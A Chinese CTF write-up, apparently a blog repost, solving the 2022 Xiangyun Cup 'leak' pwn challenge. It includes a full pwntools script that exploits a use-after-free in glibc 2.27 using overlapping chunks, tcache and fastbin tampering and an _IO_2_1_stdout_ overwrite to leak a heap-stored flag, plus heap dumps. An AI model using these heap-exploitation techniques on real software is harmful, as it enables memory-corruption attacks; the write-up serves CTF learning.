• [祥云杯 2022] pwn2 leak

    看了看雪的WP，第一次见这个东西，复现一下。

    libc-2.27-3Ubuntu1.6-amd64

    这个版本的libc禁用了3u1的直接double两次free的地址不能相同，并且_IO_2_1_stdout_头部也是清空的不能通过覆盖一个尾字节泄露地址，同时题目没有show。但是题目会把flag请入到堆中。

    如是我闻：

    1，通过建立重叠块利用unsort残留修改后指向_IO_2_1_stdout_将写入终地址（堆地址都是55XXX，写FF填充即中）

    2，释放块填满tcache，再释放放入fastbin，当tcache用完后使用fastbin时，如果tcache有空位会把fastbin剩余放入，并把fastbin第1块指针位置处bk写入堆起始地址

    题目很容易看，有add,edit,free其中free有UAF

    1. void m3free()
    2. {
    3.   unsigned __int64 n; // [rsp+8h] [rbp-8h]
    4.  
    5.   write_s("Index: ");
    6.   n = read_n();
    7.   if ( n <= 0xF )
    8.   {
    9.     if ( qword_2143A0[n] )
    10.       free((void *)qword_2143A0[n]);
    11.   }
    12. }

    先布局个堆

    1.     add(0, 0x30)
    2.     add(1, 0x500)
    3.     add(3, 0x30)
    4.     add(4, 0x10)
    5.     add(5, 0x10)
    6.     add(11, 0x40)

    先设置个重叠块2在0和1块的中间，可以覆盖到1的头部，通过修改1在大小反复释放得到相应的bin

    1.     #make a overlap on 0.5 建一个块与1重叠，以后通过它修改1的头和fd
    2.     edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    3.     edit(0, flat(0,0,0,0x41))
    4.     free(0)
    5.     free(3)
    6.     edit(3, p8(0xc0))
    7.     add(12, 0x30)
    8.     add(2, 0x30)  # 2= 0.5  overlap chunk1.head

    bins的准备：

    1，先放一个50的块到tcache，将来这个位置释放成unsort后，指针指向main_arena修改到_IO_2_1_stdout_ 用这个tcache块建块到_stdout_

    1.     #将0x50放入tcache
    2.     edit(2, flat(0,0,0,0x51))
    3.     free(1)       # 1 size 0x50 tcache

    2，释放0x20的块填满tcache然后释放一块到fastbin

    1.     #先将0x20的tcache填满，再释放1个到fastbin
    2.     edit(2, flat(0,0,0,0x21,0,0))  #fill tcache
    3.     for i in [4,5,4,5,4,5,4]:
    4.         free(i)
    5.         edit(i, p64(0))
    6.     free(1)   #fastbin

    修改回510头，释放到到fd->main_arena

    1.     #改为500释放得到main_arena指针
    2.     edit(2, flat(0,0,0,0x511))
    3.     free(1)       #unsort fd->main_arena

    利用第1步准备的50块，在stdout_写入止地址（半字节爆破）

    1.     #gdb.attach(p)
    2.     #pause()
    3.     #lh = int(input('lh'), 16)
    4.     #将块改为50，修改fd后两字节（爆破半字节）将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    5.     lh = 0xc
    6.     edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    7.     add(13, 0x40)
    8.     add(14, 0x40)  # _IO_2_1_stdout_
    9.     edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))   #写入输出止地址

    修改指向_stdout+8 （以此为起点bk写入的位置是_IO_2_1_stdout_+0x20）建块用把tcache再建,会在指针指向处的bk位置写入堆地址。

    1.     # fastbin reverse into tcache  2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    2.     #将_IO_2_1_stdout_ 改为 +8，建第1个块用掉tcache，建第2个块使用fastbin，剩余部分会放入tcache，fastbin->next指针处写入heap地址
    3.     #0x60   0 0,0x21,0,(heap)
    4.     edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    5.     add(15, 0x10)
    6.     add(6, 0x10)

    最后选菜单6退出，执行exit(0)会输出*(stdout_ + 0x20)到*(+0x28)两个地址间的数据（由于止址写入的是fff所以会非常多，只需要0x250后的一小块）

    1.     p.sendlineafter(b"Your choice: ", b'6')
    2.     p.recv(0x250)
    3.     print(p.recv(0x100))
    4.     p.interactive()

    完整的WP和当时的堆状态

    1. from pwn import *
    2.  
    3. elf = ELF('./leak')
    4. libc_elf = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')
    5. context(arch='amd64', log_level='debug')
    6.  
    7. def add(idx, size):
    8.     p.sendlineafter(b"Your choice: ", b'1')
    9.     p.sendlineafter(b"Index: ", str(idx).encode())
    10.     p.sendlineafter(b"Size: ", str(size).encode())
    11.  
    12. def edit(idx, msg):
    13.     p.sendlineafter(b"Your choice: ", b'2')
    14.     p.sendlineafter(b"Index: ", str(idx).encode())
    15.     p.sendafter(b"Content: ", msg)
    16.  
    17. def free(idx):
    18.     p.sendlineafter(b"Your choice: ", b'3')
    19.     p.sendlineafter(b"Index: ", str(idx).encode())
    20.  
    21. def pwn():
    22.     global p
    23.     
    24.     p = process('./leak')
    25.     
    26.     #lh = int(input('lh:'), 16)
    27.  
    28.     add(0, 0x30)
    29.     add(1, 0x500)
    30.     add(3, 0x30)
    31.     add(4, 0x10)
    32.     add(5, 0x10)
    33.     add(11, 0x40)
    34.  
    35.     #make a overlap on 0.5 建一个块与1重叠，以后通过它修改1的头和fd
    36.     edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    37.     edit(0, flat(0,0,0,0x41))
    38.     free(0)
    39.     free(3)
    40.     edit(3, p8(0xc0))
    41.     add(12, 0x30)
    42.     add(2, 0x30)  # 2= 0.5  overlap chunk1.head
    43.     
    44.     #将0x50放入tcache
    45.     edit(2, flat(0,0,0,0x51))
    46.     free(1)       # 1 size 0x50 tcache
    47.  
    48.     #先将0x20的tcache填满，再释放1个到fastbin
    49.     edit(2, flat(0,0,0,0x21,0,0))  #fill tcache
    50.     for i in [4,5,4,5,4,5,4]:
    51.         free(i)
    52.         edit(i, p64(0))
    53.     free(1)   #fastbin
    54.     
    55.     #改为500释放得到main_arena指针
    56.     edit(2, flat(0,0,0,0x511))
    57.     free(1)       #unsort fd->main_arena
    58.  
    59.     #gdb.attach(p)
    60.     #pause()
    61.     #lh = int(input('lh'), 16)
    62.     #将块改为50，修改fd后两字节（爆破半字节）将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    63.     lh = 0xc
    64.     edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    65.     add(13, 0x40)
    66.     add(14, 0x40)  # _IO_2_1_stdout_
    67.     edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))   #写入输出止地址
    68.     
    69.     # fastbin reverse into tcache  2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    70.     #将_IO_2_1_stdout_ 改为 +8，建第1个块用掉tcache，建第2个块使用fastbin，剩余部分会放入tcache，fastbin->next指针处写入heap地址
    71.     #0x60   0 0,0x21,0,(heap)
    72.     edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    73.     add(15, 0x10)
    74.     add(6, 0x10)
    75.         
    76.     p.sendlineafter(b"Your choice: ", b'6')
    77.     p.recv(0x250)
    78.     print(p.recv(0x100))
    79.     p.interactive()
    80.     
    81. while True:
    82.     try:
    83.         pwn()
    84.     except:
    85.         pass
    86.     break    
    87.  
    88. '''
    89. gef➤  heap bins
    90. ─────────────────────────────────────── Tcachebins for arena 0x7fa6fa1ebc40 ───────────────────────────────────────
    91. Tcachebins[idx=0, size=0x20] count=7  ←  Chunk(addr=0x7fa6fa1ec778, size=0x0, flags=) 
    92. Tcachebins[idx=3, size=0x50] count=255  ←  [Corrupted chunk at 0xfbad2084]
    93. ──────────────────────────────────────── Fastbins for arena 0x7fa6fa1ebc40 ────────────────────────────────────────
    94. Fastbins[idx=0, size=0x20] 0x00
    95. Fastbins[idx=1, size=0x30] 0x00
    96. Fastbins[idx=2, size=0x40] 0x00
    97. Fastbins[idx=3, size=0x50] 0x00
    98. Fastbins[idx=4, size=0x60] 0x00
    99. Fastbins[idx=5, size=0x70] 0x00
    100. Fastbins[idx=6, size=0x80] 0x00
    101. ──────────────────────────────────── Unsorted Bin for arena '*0x7fa6fa1ebc40' ────────────────────────────────────
    102. [+] unsorted_bins[0]: fw=0x558c5ff012d0, bk=0x558c5ff012d0
    103.  →   Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
    104. [+] Found 1 chunks in unsorted bin.
    105. ───────────────────────────────────── Small Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
    106. [+] Found 0 chunks in 0 small non-empty bins.
    107. ───────────────────────────────────── Large Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
    108. [+] Found 0 chunks in 0 large non-empty bins.
    109. gef➤  x/8gx &_IO_2_1_stdout_
    110. 0x7fa6fa1ec760 <_IO_2_1_stdout_>:       0x00000000fbad1800      0x0000000000000000
    111. 0x7fa6fa1ec770 <_IO_2_1_stdout_+16>:    0x0000000000000000      0x0000000000000000
    112. 0x7fa6fa1ec780 <_IO_2_1_stdout_+32>:    0x0000558c5ff01010      0x00005fffffffffff
    113. 0x7fa6fa1ec790 <_IO_2_1_stdout_+48>:    0x0000000000000000      0x0000000000000000
    114. gef➤  heap chunks
    115. Chunk(addr=0x558c5ff01010, size=0x250, flags=PREV_INUSE)
    116.     [0x0000558c5ff01010     07 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00    ................]
    117. Chunk(addr=0x558c5ff01260, size=0x40, flags=PREV_INUSE)
    118.     [0x0000558c5ff01260     66 6c 61 67 7b 54 65 73 74 2e 2e 2e 2e 2e 2e 2e    flag{Test.......]
    119. Chunk(addr=0x558c5ff012a0, size=0x40, flags=PREV_INUSE)
    120.     [0x0000558c5ff012a0     00 00 00 00 00 00 00 00 10 10 f0 5f 8c 55 00 00    ..........._.U..]
    121. Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
    122.     [0x0000558c5ff012e0     68 c7 1e fa a6 7f 00 00 00 00 00 00 00 00 00 00    h...............]
    123. '''

  • 相关阅读:
    40+ Node.js 常见面试问题 [2024]
    Linux常用命令
    golang 终端输入 运算符优先顺序
    单节点服务架构
    如何在Visual Studio Code中禁用Less文件保存时自动编译为CSS的功能
    使用QGIS转换矢量数据投影
    修炼k8s+flink+hdfs+dlink（六：学习namespace，service）
    分布式爬虫管理平台gerapy通过docker部署scrapyd来添加主机（四）
    CSS - 鼠标移入整行高亮显示，适用于会员套餐各参数对比页面（display: table，div 转表格形式）
    PostgreSQL技巧之ShareLock死锁处理
  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/127634535